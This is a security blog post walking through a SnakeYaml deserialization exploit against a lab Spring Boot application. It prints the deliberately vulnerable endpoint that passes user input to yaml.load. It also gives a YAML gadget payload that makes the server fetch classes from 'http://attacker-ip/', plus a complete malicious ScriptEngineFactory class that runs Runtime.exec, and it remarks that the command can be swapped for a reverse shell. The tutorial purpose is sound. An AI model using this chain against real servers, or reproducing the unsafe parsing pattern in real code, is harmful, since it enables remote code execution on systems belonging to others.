SnakeYaml Deserilization exploited
Hi All,
This blog is about a SnakeYaml deserilization vulnerability that was exploited by my friend in one of the recent penetration testing engagements. I have recreated the scenario here to demonstrate the deserilization exploitation.
So basically, the vulnerable application had a functionality where we can upload a Yaml file from web UI and the server side code will parse it using snakeyaml library.
Now, the vulnerabilities lies in the way the snakeyaml parses the yaml file which can be seen in the below piece of code:
Yaml yaml = new Yaml();
Object obj = yaml.load(<--user input data-->);
In the above snippet, the vulnerable code is the highlighted(in bold) one.
So during a secure code review of java application if we encounter yaml.load function being used with user input directly being passed to the function, then the application can be vulnerable to deserilization vulnerability which can lead to remote code execution.
So I have recreated to above scenario in my lab by creating a simple web application which will accept a yaml file as input or for easiness I have created a text area to directly paste yaml file content as user input which will then be processed by the server using snakeyaml and result will be displayed back to users.
Below is my java code which was created using spring boot:
package com.sankeyaml.ser;
import org.springframework.boot.SpringApplication;
import org.springframework.web.bind.annotation.*;
import org.yaml.snakeyaml.Yaml;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
@RestController
public class DemoyamlApplication {
@RequestMapping(value=”/upload”,method=RequestMethod.POST,produces=”application/json”)
public Object ParseYaml(@RequestParam(value=”yamlSpecification”) String yamlSpecification)
{
Yaml yaml=new Yaml();
Object obj=yaml.load(yamlSpecification);
return obj;
}
public static void main(String[] args) {
SpringApplication.run(DemoyamlApplication.class, args);
}
}
I used eclipse STS for the purpose of compiling the above code as a spring boot app. The app was running on the port 8888(default port is 8080) on apache tomcat server which comes packaged with the Spring boot setup in eclipse STS.
Tip 1: to change the default port of tomcat make below modification on application.properties file as shown below:
Tip 2: to include snake yaml library support in the spring boot project make below modification in pom.xml file and click on “update project” option under file>maven>update project
Now that our server is set up lets create a sample HTML file from which we can send our payload to test deserilization RCE on the server:
<html>
<body>
<form action=”http://192.168.0.103:8080/upload" id=”yamlform” method=”post”>
<h1></form>please enter yaml</h1>
<textarea id=”yamlSpecification” name=”yamlSpecification” rows=4 cols=50 ></textarea>
<br>
<input type=”submit” value=”submit”>
</form>
</body>
</html>
Below is the UI equivalent for the html code which was hosted on apache server:
Testing the UI with a sample YAML data returns positive result which was also intercepted using burp suite for better vision as shown below :
Now that we are done with testing the snake yaml funtionality, its time to abuse it. For this purpose I made use of the exploit available in the pdf as provided in the below github link:
The exploit payload used was:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
Now for purpose of demo I hosted a python server on port 80 on my local machine and tried to use this payload to see if the URL gets a hit from the execution of the payload during parsing:
Now that we have the confirmation that the payload actually works, lets understand why the payload worked in first place.
So, as explained in the below blog:
the snake YAML has a feature which supports for a special syntax that allows the constructor of any Java class to be called when parsing YAML data which is (!!<java class constructor>)
So, according to this, upon parsing the payload, snake YAML will invoke the ScriptEngineManager constructor and make a request to http://attacker-ip/ which we just saw above.
Now, as seen from above screenshot, snake YAML upon parsing our exploit payload, it tries to access the endpoint “/META-INF/services/javax.script.ScriptEngineFactory” and since its not available, our server responds with a 404 error.
Till now we just have evidence of the exploit code working but we still don’t have a remote code execution on the application hence after further digging I stumbled upon the below github link:
According, to this the exploit exploit expects a file “javax.script.ScriptEngineFactory” with the folder “/META-INF/services/” and the content of the file points to a class file which contains actual exploit which will perform remote code execution on the server which in this case is popping up the calculator.
Hence, I took the java code from the above mentioned github link and created a new project and used it as shown below:
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class exploit implements ScriptEngineFactory {
public exploit() {
try {
Runtime.getRuntime().exec(“/Applications/Calculator.app/Contents/MacOS/Calculator”);
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public String getEngineName() {
return null;
}
@Override
public String getEngineVersion() {
return null;
}
@Override
public List<String> getExtensions() {
return null;
}
@Override
public List<String> getMimeTypes() {
return null;
}
@Override
public List<String> getNames() {
return null;
}
@Override
public String getLanguageName() {
return null;
}
@Override
public String getLanguageVersion() {
return null;
}
@Override
public Object getParameter(String key) {
return null;
}
@Override
public String getMethodCallSyntax(String obj, String m, String… args) {
return null;
}
@Override
public String getOutputStatement(String toDisplay) {
return null;
}
@Override
public String getProgram(String… statements) {
return null;
}
@Override
public ScriptEngine getScriptEngine() {
return null;
}
}
In the above code, the below line will open up calculator in a mac system
“Runtime.getRuntime().exec(“/Applications/Calculator.app/Contents/MacOS/Calculator”);”
This can be replaced by any other code like a reverse shell, bind shell etc but I chose to stick with above for purpose of demonstration.
The .java file was converted to equivalent .class file using the below command:
javac <name-of-the-java-file>.java
Now, we have our .class file in place. So I now created a folder structure “META-INF -> services” and within that I created the file “javax.script.ScriptEngineFactory” with content “snakeyaml.exploit”.
Here, “exploit.class” is the name of the class file I created out of “exploit.java” file.
So, basically the final folder structure at attacker end is like , creating two folders one is snakeyaml and other “META-INF”. Now, inside snakeyaml put the exploit.class file and within “META-INF” create another folder named “services” within which we have “javax.script.ScriptEngineFactory” file with content “snakeyaml.exploit”.
Now, when we run the below exploit payload again, the exploit.class gets executed and calculator gets opened.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
So, as seen above, the required endpoints from the exploit payload used for yaml parsing have been met and due to which it led to remote code execution on the application server popping up the calculator.
This was an interesting case-study for me and lot of learning. Hope you like it guys.
Happy hacking and learning ……